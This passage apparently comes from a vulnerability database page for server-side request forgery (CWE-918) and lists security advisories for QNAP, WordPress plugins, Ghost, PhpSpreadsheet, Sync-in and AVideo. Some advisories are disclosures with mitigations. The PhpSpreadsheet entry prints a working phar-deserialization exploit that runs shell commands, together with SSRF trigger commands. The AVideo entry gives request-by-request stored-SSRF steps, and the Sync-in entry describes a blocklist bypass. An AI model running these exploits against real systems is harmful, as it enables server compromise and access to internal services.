CWE-918
AllowedServer-Side Request Forgery (SSRF)
Abstraction: Base · Status: Incomplete
The web server receives a URL or similar request from an upstream component and retrieves the contents of this URL, but it does not sufficiently ensure that the request is being sent to the expected destination.
4650 vulnerabilities reference this CWE, most recent first.
GHSA-Q469-433J-8XC2
Vulnerability from github – Published: 2025-03-07 18:31 – Updated: 2025-12-06 03:30A server-side request forgery (SSRF) vulnerability has been reported to affect QuLog Center. If exploited, the vulnerability could allow remote attackers who have gained administrator access to read application data.
We have already fixed the vulnerability in the following versions: QuLog Center 1.7.0.829 ( 2024/10/01 ) and later QuLog Center 1.8.0.888 ( 2024/10/15 ) and later QTS 4.5.4.2957 build 20241119 and later QuTS hero h4.5.4.2956 build 20241119 and later
{
"affected": [],
"aliases": [
"CVE-2024-53696"
],
"database_specific": {
"cwe_ids": [
"CWE-918"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2025-03-07T17:15:20Z",
"severity": "MODERATE"
},
"details": "A server-side request forgery (SSRF) vulnerability has been reported to affect QuLog Center. If exploited, the vulnerability could allow remote attackers who have gained administrator access to read application data.\n\nWe have already fixed the vulnerability in the following versions:\nQuLog Center 1.7.0.829 ( 2024/10/01 ) and later\nQuLog Center 1.8.0.888 ( 2024/10/15 ) and later\nQTS 4.5.4.2957 build 20241119 and later\nQuTS hero h4.5.4.2956 build 20241119 and later",
"id": "GHSA-q469-433j-8xc2",
"modified": "2025-12-06T03:30:15Z",
"published": "2025-03-07T18:31:06Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2024-53696"
},
{
"type": "WEB",
"url": "https://www.qnap.com/en/security-advisory/qsa-24-53"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:N/A:N",
"type": "CVSS_V3"
},
{
"score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:H/UI:N/VC:L/VI:N/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X",
"type": "CVSS_V4"
}
]
}
GHSA-Q4C4-H4Q4-GRJ7
Vulnerability from github – Published: 2025-03-07 12:31 – Updated: 2025-03-07 12:31The WPGet API – Connect to any external REST API plugin for WordPress is vulnerable to Server-Side Request Forgery in all versions up to, and including, 2.2.10. This makes it possible for authenticated attackers, with Administrator-level access and above, to make web requests to arbitrary locations originating from the web application which can be used to query and modify information from internal services.
{
"affected": [],
"aliases": [
"CVE-2024-13857"
],
"database_specific": {
"cwe_ids": [
"CWE-918"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2025-03-07T10:15:16Z",
"severity": "MODERATE"
},
"details": "The WPGet API \u2013 Connect to any external REST API plugin for WordPress is vulnerable to Server-Side Request Forgery in all versions up to, and including, 2.2.10. This makes it possible for authenticated attackers, with Administrator-level access and above, to make web requests to arbitrary locations originating from the web application which can be used to query and modify information from internal services.",
"id": "GHSA-q4c4-h4q4-grj7",
"modified": "2025-03-07T12:31:59Z",
"published": "2025-03-07T12:31:59Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2024-13857"
},
{
"type": "WEB",
"url": "https://plugins.trac.wordpress.org/changeset/3251647"
},
{
"type": "WEB",
"url": "https://wordpress.org/plugins/wpgetapi/#developers"
},
{
"type": "WEB",
"url": "https://www.wordfence.com/threat-intel/vulnerabilities/id/cd2a8e7b-6fca-49f3-ba6d-bdaa418f611a?source=cve"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:C/C:L/I:L/A:N",
"type": "CVSS_V3"
}
]
}
GHSA-Q4C7-VXGR-R6M2
Vulnerability from github – Published: 2026-06-01 09:31 – Updated: 2026-06-01 09:31A vulnerability was identified in JeecgBoot up to 3.9.2. The impacted element is an unknown function of the file /airag/airagModel/test. The manipulation of the argument baseUrl leads to server-side request forgery. The attack is possible to be carried out remotely. The exploit is publicly available and might be used. A fix is planned for the upcoming release.
{
"affected": [],
"aliases": [
"CVE-2026-10240"
],
"database_specific": {
"cwe_ids": [
"CWE-918"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2026-06-01T09:16:15Z",
"severity": "LOW"
},
"details": "A vulnerability was identified in JeecgBoot up to 3.9.2. The impacted element is an unknown function of the file /airag/airagModel/test. The manipulation of the argument baseUrl leads to server-side request forgery. The attack is possible to be carried out remotely. The exploit is publicly available and might be used. A fix is planned for the upcoming release.",
"id": "GHSA-q4c7-vxgr-r6m2",
"modified": "2026-06-01T09:31:12Z",
"published": "2026-06-01T09:31:12Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-10240"
},
{
"type": "WEB",
"url": "https://github.com/jeecgboot/JeecgBoot/issues/9609"
},
{
"type": "WEB",
"url": "https://github.com/jeecgboot/JeecgBoot"
},
{
"type": "WEB",
"url": "https://vuldb.com/cve/CVE-2026-10240"
},
{
"type": "WEB",
"url": "https://vuldb.com/submit/823267"
},
{
"type": "WEB",
"url": "https://vuldb.com/vuln/367518"
},
{
"type": "WEB",
"url": "https://vuldb.com/vuln/367518/cti"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:L/A:L",
"type": "CVSS_V3"
},
{
"score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:L/VI:L/VA:L/SC:N/SI:N/SA:N/E:P/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X",
"type": "CVSS_V4"
}
]
}
GHSA-Q4G4-9H3H-H3P3
Vulnerability from github – Published: 2025-12-19 09:30 – Updated: 2025-12-19 09:30The HTML5 Audio Player – The Ultimate No-Code Podcast, MP3 & Audio Player plugin for WordPress is vulnerable to Server-Side Request Forgery in all versions from 2.4.0 up to, and including, 2.5.1 via the getIcyMetadata() function. This makes it possible for unauthenticated attackers to make web requests to arbitrary locations originating from the web application and can be used to query and modify information from internal services.
{
"affected": [],
"aliases": [
"CVE-2025-13999"
],
"database_specific": {
"cwe_ids": [
"CWE-918"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2025-12-19T07:16:00Z",
"severity": "HIGH"
},
"details": "The HTML5 Audio Player \u2013 The Ultimate No-Code Podcast, MP3 \u0026 Audio Player plugin for WordPress is vulnerable to Server-Side Request Forgery in all versions from 2.4.0 up to, and including, 2.5.1 via the getIcyMetadata() function. This makes it possible for unauthenticated attackers to make web requests to arbitrary locations originating from the web application and can be used to query and modify information from internal services.",
"id": "GHSA-q4g4-9h3h-h3p3",
"modified": "2025-12-19T09:30:27Z",
"published": "2025-12-19T09:30:27Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2025-13999"
},
{
"type": "WEB",
"url": "https://plugins.trac.wordpress.org/changeset?old=3394789\u0026old_path=html5-audio-player%2Ftags%2F2.5.1%2Finc%2FCore%2FAjax.php\u0026new=3419843\u0026new_path=html5-audio-player%2Ftags%2F2.5.2%2Finc%2FCore%2FAjax.php"
},
{
"type": "WEB",
"url": "https://www.wordfence.com/threat-intel/vulnerabilities/id/989b4b9d-e22e-46a7-8ebc-5c8b33f98111?source=cve"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:L/A:N",
"type": "CVSS_V3"
}
]
}
GHSA-Q4H8-7QFF-GH6C
Vulnerability from github – Published: 2021-05-06 18:28 – Updated: 2021-05-04 22:08Server-side request forgery (SSRF) vulnerability in Ghost CMS < 3.10.0 allows an attacker to scan local or external network or otherwise interact with internal systems.
{
"affected": [
{
"package": {
"ecosystem": "npm",
"name": "ghost"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "3.10.0"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2020-8134"
],
"database_specific": {
"cwe_ids": [
"CWE-918"
],
"github_reviewed": true,
"github_reviewed_at": "2021-05-04T22:08:54Z",
"nvd_published_at": "2020-03-20T19:15:00Z",
"severity": "MODERATE"
},
"details": "Server-side request forgery (SSRF) vulnerability in Ghost CMS \u003c 3.10.0 allows an attacker to scan local or external network or otherwise interact with internal systems.",
"id": "GHSA-q4h8-7qff-gh6c",
"modified": "2021-05-04T22:08:54Z",
"published": "2021-05-06T18:28:08Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2020-8134"
},
{
"type": "WEB",
"url": "https://hackerone.com/reports/793704"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:N",
"type": "CVSS_V3"
}
],
"summary": "Server-side request forgery in Ghost CMS"
}
GHSA-Q4PR-WJ5P-X74Q
Vulnerability from github – Published: 2025-09-09 18:31 – Updated: 2026-04-01 18:36Server-Side Request Forgery (SSRF) vulnerability in Rhys Wynne WP eBay Product Feeds allows Server Side Request Forgery. This issue affects WP eBay Product Feeds: from n/a through 3.4.8.
{
"affected": [],
"aliases": [
"CVE-2025-58977"
],
"database_specific": {
"cwe_ids": [
"CWE-918"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2025-09-09T17:16:11Z",
"severity": "MODERATE"
},
"details": "Server-Side Request Forgery (SSRF) vulnerability in Rhys Wynne WP eBay Product Feeds allows Server Side Request Forgery. This issue affects WP eBay Product Feeds: from n/a through 3.4.8.",
"id": "GHSA-q4pr-wj5p-x74q",
"modified": "2026-04-01T18:36:08Z",
"published": "2025-09-09T18:31:24Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2025-58977"
},
{
"type": "WEB",
"url": "https://patchstack.com/database/wordpress/plugin/ebay-feeds-for-wordpress/vulnerability/wordpress-wp-ebay-product-feeds-plugin-3-4-8-server-side-request-forgery-ssrf-vulnerability?_s_id=cve"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:C/C:L/I:L/A:N",
"type": "CVSS_V3"
}
]
}
GHSA-Q4Q6-R8WH-5CGH
Vulnerability from github – Published: 2026-04-29 20:22 – Updated: 2026-05-08 15:29The usage of is_file, used to verify if the $filename is indeed an actual file, by all(?) Reader implementations (inside the helper function File::assertFile) is php-wrapper aware, for any php wrappers implementing stat().
The 3 wrappers ftp://, phar:// and ssh2.sftp://, all satisfy this requirement - 2 of which are shown in the PoC below.
This results in a SSRF, at "best", and RCE at worse.
This was tested against the latest release - but the issue seems to go back a while from a first quick check (still present in v1.30.2).
PoC
To reproduce the vulnerable behavior, the following scripts were used:
php.ini file, only needed to build the malicious phar, not necessary to exploit on a deployed instance of the library:
phar.readonly=0
make_phar.php to create the malicious file:
<?php
// php -c php.ini make_phar.php
class GadgetClass {
public $data;
function __construct($d) {
$this->data = $d;
}
function __destruct() {
shell_exec($this->data);
}
}
$pop = new GadgetClass('touch /tmp/poc.txt');
$phar = new Phar('exploit.phar');
$phar->startBuffering();
$phar->setStub('<?php __HALT_COMPILER(); ?>');
$phar->addFromString('whatever', 'dummy content');
$phar->setMetadata($pop);
$phar->stopBuffering();
rename('exploit.phar', 'exploit.xlsx'); // optional
echo "exploit.xlsx created \n";
test.php showcases the unsafe pattern:
<?php
require 'vendor/autoload.php';
use PhpOffice\PhpSpreadsheet\IOFactory;
class GadgetClass {
public $data;
function __construct($d) {
$this->data = $d;
}
function __destruct() {
shell_exec($this->data);
}
}
$filename = $argv[1] ?? null;
if (!$filename) {
echo "Usage: php test.php <path>\n";
echo " e.g. php test.php phar://exploit.xlsx/whatever\n";
exit(1);
}
echo "Calling IOFactory::load('" . $filename . "')\n";
try {
$spreadsheet = IOFactory::load($filename);
var_dump($spreadsheet);
} catch (Throwable $e) {
echo "Vuln has still triggered even if exception triggers.\n";
}
RCE
Run the PoC (for RCE):
php -c php.ini make_phar.php && php test.php phar://exploit.xlsx/test; ls -lah /tmp/poc.txt
The file /tmp/poc.txt should now be present on disk.
Note: the vuln still triggers if the file pointed to inside the phar does not exist/is not supported (html, xlsx, etc...). This means an attacker could "silently" trigger the vuln without leaving any error logs if the file inside the phar exists and is supported instead.
SSRF
Run the PoC (for SSRF):
ncat -lvp 21 #run on another terminal
php test.php ftp://127.0.0.1:21/test
Observe a connection is made to 127.0.0.1 on port 21.
Root Cause Analysis
Following the API exposed by the library, using IOFactory::load, the code proceeds as follows:
IOFactory::load($filename) -> IReader::load($filename, $flags) -> IReader::loadSpreadsheetFromFile($filename) -> File::assertFile($filename, ...) -> is_file($filename);
The one obvious gadget that was found is guarded via __unserialize (or __wakeup in older versions) in the XMLWriter class, making it not possible to use the phar deserialization as a standalone attack vector using just this library - it is still viable to create "POP" gadget chains via other classes which may be available in real-world deployment scenarios.
public function __destruct()
{
// Unlink temporary files
// There is nothing reasonable to do if unlink fails.
if ($this->tempFileName != '') {
@unlink($this->tempFileName);
}
}
/** @param mixed[] $data */
public function __unserialize(array $data): void
{
$this->tempFileName = '';
throw new SpreadsheetException('Unserialize not permitted');
}
Phpspreadsheet is used as a backbone for many library wrappers, including very widespread ones from packagist like maatwebsite/excel for Laravel, sonata-project/exporter and so on, hence the deserialization vector stays relevant in other contexts.
Suggested mitigations
Use is_file only after making sure the filename does not contain any php wrapper:
$scheme = parse_url($filename, PHP_URL_SCHEME);
// strlen check > 1 to avoid issues with Windows absolute paths (e.g. C:\...), Windows quirks :)
// since no built-in or commonly registered PHP stream wrapper uses a single-character scheme, this should be ok, to my knowledge
if ($scheme !== null && strlen($scheme) > 1) {
throw new \PhpOffice\PhpSpreadsheet\Exception(
"Stream wrappers are not permitted as file paths: {$filename}"
);
}
or perhaps even just passing it to realpath before calling is_file to ensure it is parsed correctly:
$real = realpath($filename); // not php wrapper aware AFAIK
if ($real === false) {
throw new \PhpOffice\PhpSpreadsheet\Exception("Invalid file path: {$filename}");
}
// from here on, $real should be a clean absolute path so we can pass it to is_file()
if (!is_file($real)) {
throw new ...
}
Note:
stream_is_local()would also not be safe here — as it considersphar://to be local and would not block it.
{
"affected": [
{
"database_specific": {
"last_known_affected_version_range": "\u003c= 5.5.0"
},
"package": {
"ecosystem": "Packagist",
"name": "phpoffice/phpspreadsheet"
},
"ranges": [
{
"events": [
{
"introduced": "4.0.0"
},
{
"fixed": "5.6.0"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"database_specific": {
"last_known_affected_version_range": "\u003c= 3.10.3"
},
"package": {
"ecosystem": "Packagist",
"name": "phpoffice/phpspreadsheet"
},
"ranges": [
{
"events": [
{
"introduced": "3.3.0"
},
{
"fixed": "3.10.4"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"database_specific": {
"last_known_affected_version_range": "\u003c= 2.4.3"
},
"package": {
"ecosystem": "Packagist",
"name": "phpoffice/phpspreadsheet"
},
"ranges": [
{
"events": [
{
"introduced": "2.2.0"
},
{
"fixed": "2.4.4"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"database_specific": {
"last_known_affected_version_range": "\u003c= 2.1.14"
},
"package": {
"ecosystem": "Packagist",
"name": "phpoffice/phpspreadsheet"
},
"ranges": [
{
"events": [
{
"introduced": "2.0.0"
},
{
"fixed": "2.1.15"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"database_specific": {
"last_known_affected_version_range": "\u003c= 1.30.2"
},
"package": {
"ecosystem": "Packagist",
"name": "phpoffice/phpspreadsheet"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "1.30.3"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-34084"
],
"database_specific": {
"cwe_ids": [
"CWE-502",
"CWE-918"
],
"github_reviewed": true,
"github_reviewed_at": "2026-04-29T20:22:30Z",
"nvd_published_at": "2026-05-05T20:16:37Z",
"severity": "CRITICAL"
},
"details": "The usage of `is_file`, used to verify if the `$filename` is indeed an actual file, by all(?) `Reader` implementations (inside the helper function `File::assertFile`) is php-wrapper aware, for any [php wrappers](https://www.php.net/manual/en/wrappers.php) implementing `stat()`.\nThe 3 wrappers `ftp://`, `phar://` and `ssh2.sftp://`, all satisfy this requirement - 2 of which are shown in the PoC below.\n\nThis results in a SSRF, at \"best\", and RCE at worse.\n\nThis was tested against the `latest` release - but the issue seems to go back a while from a first quick check (still present in `v1.30.2`).\n\n## PoC\nTo reproduce the vulnerable behavior, the following scripts were used:\n\n`php.ini` file, only needed to build the malicious phar, not necessary to exploit on a deployed instance of the library:\n```ini\nphar.readonly=0\n```\n\n`make_phar.php` to create the malicious file:\n```php\n\u003c?php\n// php -c php.ini make_phar.php\nclass GadgetClass {\n public $data;\n function __construct($d) {\n $this-\u003edata = $d;\n }\n function __destruct() {\n shell_exec($this-\u003edata);\n }\n}\n\n$pop = new GadgetClass(\u0027touch /tmp/poc.txt\u0027);\n\n$phar = new Phar(\u0027exploit.phar\u0027);\n$phar-\u003estartBuffering();\n$phar-\u003esetStub(\u0027\u003c?php __HALT_COMPILER(); ?\u003e\u0027);\n$phar-\u003eaddFromString(\u0027whatever\u0027, \u0027dummy content\u0027);\n$phar-\u003esetMetadata($pop);\n$phar-\u003estopBuffering();\n\nrename(\u0027exploit.phar\u0027, \u0027exploit.xlsx\u0027); // optional\necho \"exploit.xlsx created \\n\";\n\n```\n\n`test.php` showcases the unsafe pattern:\n```php\n\u003c?php\nrequire \u0027vendor/autoload.php\u0027;\n\nuse PhpOffice\\PhpSpreadsheet\\IOFactory;\n\nclass GadgetClass {\n public $data;\n function __construct($d) {\n $this-\u003edata = $d;\n }\n function __destruct() {\n shell_exec($this-\u003edata);\n }\n}\n\n$filename = $argv[1] ?? null;\n\nif (!$filename) {\n echo \"Usage: php test.php \u003cpath\u003e\\n\";\n echo \" e.g. php test.php phar://exploit.xlsx/whatever\\n\";\n exit(1);\n}\n\necho \"Calling IOFactory::load(\u0027\" . $filename . \"\u0027)\\n\";\n\ntry {\n $spreadsheet = IOFactory::load($filename);\n var_dump($spreadsheet);\n} catch (Throwable $e) {\n echo \"Vuln has still triggered even if exception triggers.\\n\";\n}\n\n\n```\n### RCE \nRun the PoC (for RCE):\n```bash\nphp -c php.ini make_phar.php \u0026\u0026 php test.php phar://exploit.xlsx/test; ls -lah /tmp/poc.txt\n```\nThe file `/tmp/poc.txt` should now be present on disk.\n\u003e Note: the vuln still triggers if the file pointed to inside the phar does not exist/is not supported (html, xlsx, etc...). This means an attacker could \"silently\" trigger the vuln without leaving any error logs if the file inside the phar exists and is supported instead. \n\n### SSRF\nRun the PoC (for SSRF):\n```bash\nncat -lvp 21 #run on another terminal\nphp test.php ftp://127.0.0.1:21/test\n```\n\nObserve a connection is made to `127.0.0.1` on port `21`.\n\n\n\n## Root Cause Analysis \n\nFollowing the API exposed by the library, using `IOFactory::load`, the code proceeds as follows:\n```php\nIOFactory::load($filename) -\u003e IReader::load($filename, $flags) -\u003e IReader::loadSpreadsheetFromFile($filename) -\u003e File::assertFile($filename, ...) -\u003e is_file($filename);\n```\n\n\nThe one obvious gadget that was found is guarded via `__unserialize` (or `__wakeup` in older versions) in the `XMLWriter` class, making it not possible to use the phar deserialization as a standalone attack vector using just this library - it is still viable to create \"POP\" gadget chains via other classes which may be available in real-world deployment scenarios.\n\n```php\n public function __destruct()\n {\n // Unlink temporary files\n // There is nothing reasonable to do if unlink fails.\n if ($this-\u003etempFileName != \u0027\u0027) {\n @unlink($this-\u003etempFileName);\n }\n }\n\n /** @param mixed[] $data */\n public function __unserialize(array $data): void\n {\n $this-\u003etempFileName = \u0027\u0027;\n\n throw new SpreadsheetException(\u0027Unserialize not permitted\u0027);\n }\n```\n\nPhpspreadsheet is used as a backbone for many library wrappers, including very widespread ones from [packagist ](https://packagist.org)like `maatwebsite/excel` for Laravel, `sonata-project/exporter` and so on, hence the deserialization vector stays relevant in other contexts.\n\n## Suggested mitigations\n\nUse `is_file` only after making sure the filename does not contain any php wrapper:\n```php\n$scheme = parse_url($filename, PHP_URL_SCHEME);\n// strlen check \u003e 1 to avoid issues with Windows absolute paths (e.g. C:\\...), Windows quirks :)\n// since no built-in or commonly registered PHP stream wrapper uses a single-character scheme, this should be ok, to my knowledge\nif ($scheme !== null \u0026\u0026 strlen($scheme) \u003e 1) {\n throw new \\PhpOffice\\PhpSpreadsheet\\Exception(\n \"Stream wrappers are not permitted as file paths: {$filename}\"\n );\n}\n```\n\nor perhaps even just passing it to `realpath` before calling `is_file` to ensure it is parsed correctly:\n```php\n$real = realpath($filename); // not php wrapper aware AFAIK\nif ($real === false) {\n throw new \\PhpOffice\\PhpSpreadsheet\\Exception(\"Invalid file path: {$filename}\");\n}\n\n// from here on, $real should be a clean absolute path so we can pass it to is_file()\nif (!is_file($real)) {\n throw new ...\n}\n```\n\n\u003e Note: `stream_is_local()` would also not be safe here \u2014 as it considers `phar://` to be local and would not block it.",
"id": "GHSA-q4q6-r8wh-5cgh",
"modified": "2026-05-08T15:29:26Z",
"published": "2026-04-29T20:22:30Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/PHPOffice/PhpSpreadsheet/security/advisories/GHSA-q4q6-r8wh-5cgh"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-34084"
},
{
"type": "PACKAGE",
"url": "https://github.com/PHPOffice/PhpSpreadsheet"
},
{
"type": "WEB",
"url": "https://www.php.net/manual/en/wrappers.php"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N",
"type": "CVSS_V4"
}
],
"summary": "PhpSpreadsheet has SSRF/RCE in IOFactory::load when $filename is user controlled"
}
GHSA-Q4X5-8CJ6-52WG
Vulnerability from github – Published: 2026-06-05 16:34 – Updated: 2026-07-08 17:36Summary: The private IP blocklist regex used in the URL download feature does not match IPv4-mapped IPv6 addresses (e.g. ::ffff:127.0.0.1), allowing SSRF protection to be bypassed on dual-stack systems.
Affected components
backend/src/applications/files/services/files-manager.service.ts – downloadFromUrl() checks regExpPrivateIP against request.socket.remoteAddress. backend/src/applications/files/utils/url-file.ts – regExpPrivateIP does not include ::ffff: variants.
Details: The regExpPrivateIP regex in backend/src/applications/files/utils/url-file.ts correctly blocks standard IPv4 private ranges but does not include ::ffff: prefixed variants. On dual-stack systems, Node.js can report a socket's remoteAddress in IPv4-mapped IPv6 form, meaning the check in FilesManager.downloadFromUrl() can be bypassed entirely.
PoC: poc.pdf
Proof:
Impact: An attacker can supply a crafted URL pointing to an internal address that gets reported as ::ffff:127.0.0.1 or ::ffff:10.x.x.x, causing the server to fetch internal resources that should be blocked. Any user with access to the file download feature is a potential attacker.
{
"affected": [
{
"database_specific": {
"last_known_affected_version_range": "\u003c= 2.2.1"
},
"package": {
"ecosystem": "npm",
"name": "@sync-in/server"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "2.3.0"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-47684"
],
"database_specific": {
"cwe_ids": [
"CWE-918"
],
"github_reviewed": true,
"github_reviewed_at": "2026-06-05T16:34:59Z",
"nvd_published_at": "2026-06-16T15:16:41Z",
"severity": "HIGH"
},
"details": "Summary:\nThe private IP blocklist regex used in the URL download feature does not match IPv4-mapped IPv6 addresses (e.g. ::ffff:127.0.0.1), allowing SSRF protection to be bypassed on dual-stack systems.\n\nAffected components\n\nbackend/src/applications/files/services/files-manager.service.ts \u2013 downloadFromUrl() checks regExpPrivateIP against request.socket.remoteAddress.\nbackend/src/applications/files/utils/url-file.ts \u2013 regExpPrivateIP does not include ::ffff:\u003cipv4\u003e variants.\n\nDetails:\nThe regExpPrivateIP regex in backend/src/applications/files/utils/url-file.ts correctly blocks standard IPv4 private ranges but does not include ::ffff: prefixed variants. On dual-stack systems, Node.js can report a socket\u0027s remoteAddress in IPv4-mapped IPv6 form, meaning the check in FilesManager.downloadFromUrl() can be bypassed entirely.\n\nPoC:\n[poc.pdf](https://github.com/user-attachments/files/26990874/poc.pdf)\n\n\n\n\nProof:\n\u003cimg width=\"1080\" height=\"842\" alt=\"1000226655\" src=\"https://github.com/user-attachments/assets/797cea83-0a08-4a16-a91b-31c51068d473\" /\u003e\n\n\n\n\n\nImpact:\nAn attacker can supply a crafted URL pointing to an internal address that gets reported as ::ffff:127.0.0.1 or ::ffff:10.x.x.x, causing the server to fetch internal resources that should be blocked. Any user with access to the file download feature is a potential attacker.",
"id": "GHSA-q4x5-8cj6-52wg",
"modified": "2026-07-08T17:36:17Z",
"published": "2026-06-05T16:34:59Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/Sync-in/server/security/advisories/GHSA-q4x5-8cj6-52wg"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-47684"
},
{
"type": "PACKAGE",
"url": "https://github.com/Sync-in/server"
},
{
"type": "WEB",
"url": "https://github.com/Sync-in/server/releases/tag/v2.3.0"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:N/A:N",
"type": "CVSS_V3"
}
],
"summary": "Sync-in Server: SSRF protection bypass via IPv4-mapped IPv6 addresses in regExpPrivateIP"
}
GHSA-Q4X6-6MM2-CRG9
Vulnerability from github – Published: 2026-04-08 00:08 – Updated: 2026-04-08 00:08Summary
The Live restream log callback flow accepted an attacker-controlled restreamerURL and later fetched that stored URL server-side, enabling stored SSRF for authenticated streamers.
The vulnerable flow allowed a low-privilege user with streaming permission to store an arbitrary callback URL and trigger server-side requests to loopback or internal HTTP services through the restream log feature.
Details
The vulnerable chain was:
plugin/Live/view/getRestream.json.phpexposed a freshtokenForActionplugin/Live/view/Live_restreams/verifyTokenForAction.json.phpexchanged it for a validresponseTokenplugin/Live/view/Live_restreams_logs/add.json.phpaccepted attacker-controlledrestreamerURLplugin/Live/view/getRestream.json.phpandplugin/Live/view/Live_restreams/getAction.json.phplater fetched that stored URL server-side
The original issue existed because the responseToken was accepted, but the callback destination was not tightly constrained to trusted restreamer endpoints.
The maintainer confirmed the vulnerability and stated that the fix was applied by validating restreamerURL at storage time and re-validating the log-entry branch before use. The maintainer also noted that the m3u8 field follows the same general pattern but is not server-fetched in the current flow.
Proof of concept
- Log in as a non-admin user with streaming permission.
- Create a normal restream destination.
- Trigger
plugin/Live/view/Live_restreams/testRestreamer.json.phpto create a live transmission history row. - Call:
GET /plugin/Live/view/getRestream.json.php?live_transmitions_history_id=<id>&restreams_id=<id>
- Extract
tokenForActionfrom the returned URL. - Exchange it for
responseTokenvia:
POST /plugin/Live/view/Live_restreams/verifyTokenForAction.json.php
- Store a loopback callback URL:
POST /plugin/Live/view/Live_restreams_logs/add.json.php
restreamerURL=http://127.0.0.1:9999/index.php
- Trigger
getRestream.json.phpagain. - Observe that the returned response now contains the JSON body from the loopback-only service.
Impact
An authenticated streamer can cause the AVideo server to send HTTP requests to loopback or internal services and return the response through normal application endpoints by storing a malicious restreamerURL in the restream log flow. Because the callback destination was not constrained to trusted restreamer endpoints, the application could be used as a proxy to internal-only services that trust network locality. Successful exploitation can expose local admin panels, internal-only APIs, cloud metadata services if reachable, or other sensitive internal responses available from the application host.
Recommended fix
- Validate
restreamerURLagainst explicitly configured restreamer endpoints at storage time - Re-validate the stored callback URL before server-side fetch
- Bind
responseTokento the expected restream row and callback host - Apply SSRF validation to the initial destination of every server-side fetch, not only redirect targets
- Ignore or reject user-supplied callback hosts that do not match trusted configuration
{
"affected": [
{
"package": {
"ecosystem": "Packagist",
"name": "WWBN/AVideo"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"last_affected": "26.0"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-39368"
],
"database_specific": {
"cwe_ids": [
"CWE-918"
],
"github_reviewed": true,
"github_reviewed_at": "2026-04-08T00:08:42Z",
"nvd_published_at": "2026-04-07T20:16:30Z",
"severity": "MODERATE"
},
"details": "## Summary\n\nThe Live restream log callback flow accepted an attacker-controlled `restreamerURL` and later fetched that stored URL server-side, enabling stored SSRF for authenticated streamers.\n\nThe vulnerable flow allowed a low-privilege user with streaming permission to store an arbitrary callback URL and trigger server-side requests to loopback or internal HTTP services through the restream log feature.\n\n## Details\n\nThe vulnerable chain was:\n\n1. `plugin/Live/view/getRestream.json.php` exposed a fresh `tokenForAction`\n2. `plugin/Live/view/Live_restreams/verifyTokenForAction.json.php` exchanged it for a valid `responseToken`\n3. `plugin/Live/view/Live_restreams_logs/add.json.php` accepted attacker-controlled `restreamerURL`\n4. `plugin/Live/view/getRestream.json.php` and `plugin/Live/view/Live_restreams/getAction.json.php` later fetched that stored URL server-side\n\nThe original issue existed because the `responseToken` was accepted, but the callback destination was not tightly constrained to trusted restreamer endpoints.\n\nThe maintainer confirmed the vulnerability and stated that the fix was applied by validating `restreamerURL` at storage time and re-validating the log-entry branch before use. The maintainer also noted that the `m3u8` field follows the same general pattern but is not server-fetched in the current flow.\n\n## Proof of concept\n\n1. Log in as a non-admin user with streaming permission.\n2. Create a normal restream destination.\n3. Trigger `plugin/Live/view/Live_restreams/testRestreamer.json.php` to 